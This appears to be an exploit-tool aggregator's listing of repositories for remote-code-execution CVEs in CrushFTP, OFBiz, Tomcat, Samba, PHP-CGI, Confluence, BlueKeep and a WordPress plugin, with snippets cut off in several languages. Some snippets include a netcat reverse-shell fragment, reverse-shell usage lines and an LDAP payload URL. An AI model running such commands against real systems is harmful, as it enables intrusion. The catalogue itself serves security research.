CVE-2024-4040-CrushFTP-server

CVE-2024-4040-CrushFTP-server CrushFTP es un servidor de transferencia de archivos propietario, multiprotocolo y multiplataforma. CVE-2024-4040 : una vulnerabilidad de inyección de plantillas del lado del servidor en CrushFTP en todas las versiones anteriores a 10.7.1 y 11.1.0 en todas las...

CVE-2024-38856-ApacheOfBiz

CVE-2024-38856-ApacheOfBiz Apache OFBiz es un sistema de planificación de recursos empresariales de código abierto. Proporciona un conjunto de aplicaciones empresariales que integran y automatizan muchos de los procesos de negocio de una empresa. CVE-2024-38856 es una vulnerabilidad de...

CVE-2024-4879-ServiceNow

CVE-2024-4879-ServiceNow ServiceNow es una plataforma para la transformación empresarial que ayuda a las empresas a gestionar flujos de trabajo digitales para operaciones empresariales. CVE-2024-4879 podría permitir que un usuario no autenticado ejecute código de forma remota dentro de la...

Tomcat_PUT_GUI_EXP

TomcatPUTEXPV1.4 Tomcat PUT方法任意文件写入（CVE-2017-12615）图形化漏洞利用工具 漏洞介绍 2017年9月19日，Apache Tomcat官方确认并修复了两个高危漏洞，漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞（CVE-2017-12615） 影响： Apache Tomcat 7.0.0 - 7.0.79（7.0.81修复不完全） 当 Tomcat 运行在 Windows 主机上，且启用了 HTTP PUT 请求方法（例如，将 readonly 初始化参数由默认值设置为...

CVE-2017-9791

CVE-2017-9791 针对 Apache Struts CVE-2017-9791 远程代码执行漏洞的 Metasploit 模块...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE Este repositorio contiene mi código de exploit para la vulnerabilidad RCE en Adobe ColdFusion 2018. Descripción del Exploit El exploit envía una solicitud POST que contiene una reverse shell JSP a...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 用法 root@kitploit: 利用目标 10.129.232.46 的 445 端口，向 10.10.14.82 的 443 端口发送反弹 shell python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 使用自定义远程端口和本地端口 python3 CVE-2007-2447.py --rhost 10.129.232.46 --rport 4445 --lhost 10.10.14.82...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE 项目简介与原理 全球首款利用PHP默认环境（XAMPP）的CVE-2024-4577 PHP-CGI RCE 漏洞 EXP。 The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WAF bypass. 实现PHP默认环境RCE。原理：cgi.forceredirect + REDIRECT-STATUS。...

SDT_CW3B1_rce

SDTCW3B1rce CVE-2021-46422 安装 root@kitploit: git clone https://github.com/xanszZZ/SDTCW3B1rce cd SDTCW3B1rce 使用 因为本工具是由了pocsuite3框架的开发规范编写的poc 在使用前请下载pocsuite3 项目地址 root@kitploit: https://github.com/knownsec/pocsuite3 环境 root@kitploit: Python 3.7+ Works on Linux, Windows, Mac OSX, BSD, etc. pip安装...

CVE-2021-42013-ApacheRCE

CVE-2021-42013-ApacheRCE...

CVE-2019-0193

CVE-2019-0193 Ejecución remota de código...

CVE-2019-13025

Connect Box CH7465LG CVE-2019-13025 Información Este repositorio contiene dos PoCs para el Connect Box CH7465LG que ejecuta el Firmware CH7465LG-NCIP-6.12.18.24-5p8-NOSH o anterior. Para más información, echa un vistazo a mi blog. Uso Ejecución remota de código no autenticada $ python3 poc-rce.py...

CVE-2025-24813

Description This repository is an environment for reproducing the latest RCE of CVE-2025-24813 Tomcat. For learning and research purposes only! Exploitation Conditions The application has enabled the DefaultServlet write functionality, which is disabled by default. The application supports partia...

CVE-2019-3396

CVE-2019-3396 Confluence Widget Connector 路径遍历漏洞 CVE-2019-3396 RCE 验证代码 root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0 Content-Type:...

CVE-2022-30781

🍵 CVE-2022-30781 Exploit de ejecución remota de comandos en la migración de repositorios de Gitea. Cómo usar 1. Ejecuta un servidor HTTP del sistema de archivos con los archivos de este repositorio. 2. Edita el comando a ejecutar en api/v1/repos/e99/exp/pulls/1/index.html L96. 3. Migra el...

spring-framework-rce

spring-framework-rce CVE-2022-22965 环境需求 1. tomcat8 8 使用方法 1. 下载 springframeworkrce-0.0.1-SNAPSHOT.zip 解压后，修改名称为 ROOT.war。 2. 替换掉 tomcat 内的 webapps 文件夹下的 ROOT 文件夹或 ROOT.war。 3. 切换到 tomcat 内的 bin 路径下，执行 .\catalina.bat run。 测试方法 略 结果 jdk| tomcat| 结果 ---|---|--- jdk8u322-b06| apache-tomcat-8.5.77| 安...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2019-0708

CVE-2019-0708 initial exploit for CVE-2019-0708, BlueKeep CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free The RDP termdd.sys driver improperly handles binds to internal-only channel MST120, allowing a malformed Disconnect Provider Indication message to cause use-after-free. With a...

CVE-2026-14982 WP File Download <= 6.3.4 - Authenticated (Subscriber+) Arbitrary File Deletion via 'remoteurl' Parameter

The WP File Download plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the delete function in all versions. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files on the server,...

CVE-2026-14982

The WP File Download plugin for WordPress (versions ≤ 6.3.4 ) is vulnerable to arbitrary file deletion via insufficient path validation in the delete function. Authenticated attackers with subscriber-level access or above can exploit a two-stage attack : first calling the file.save endpoint to pe...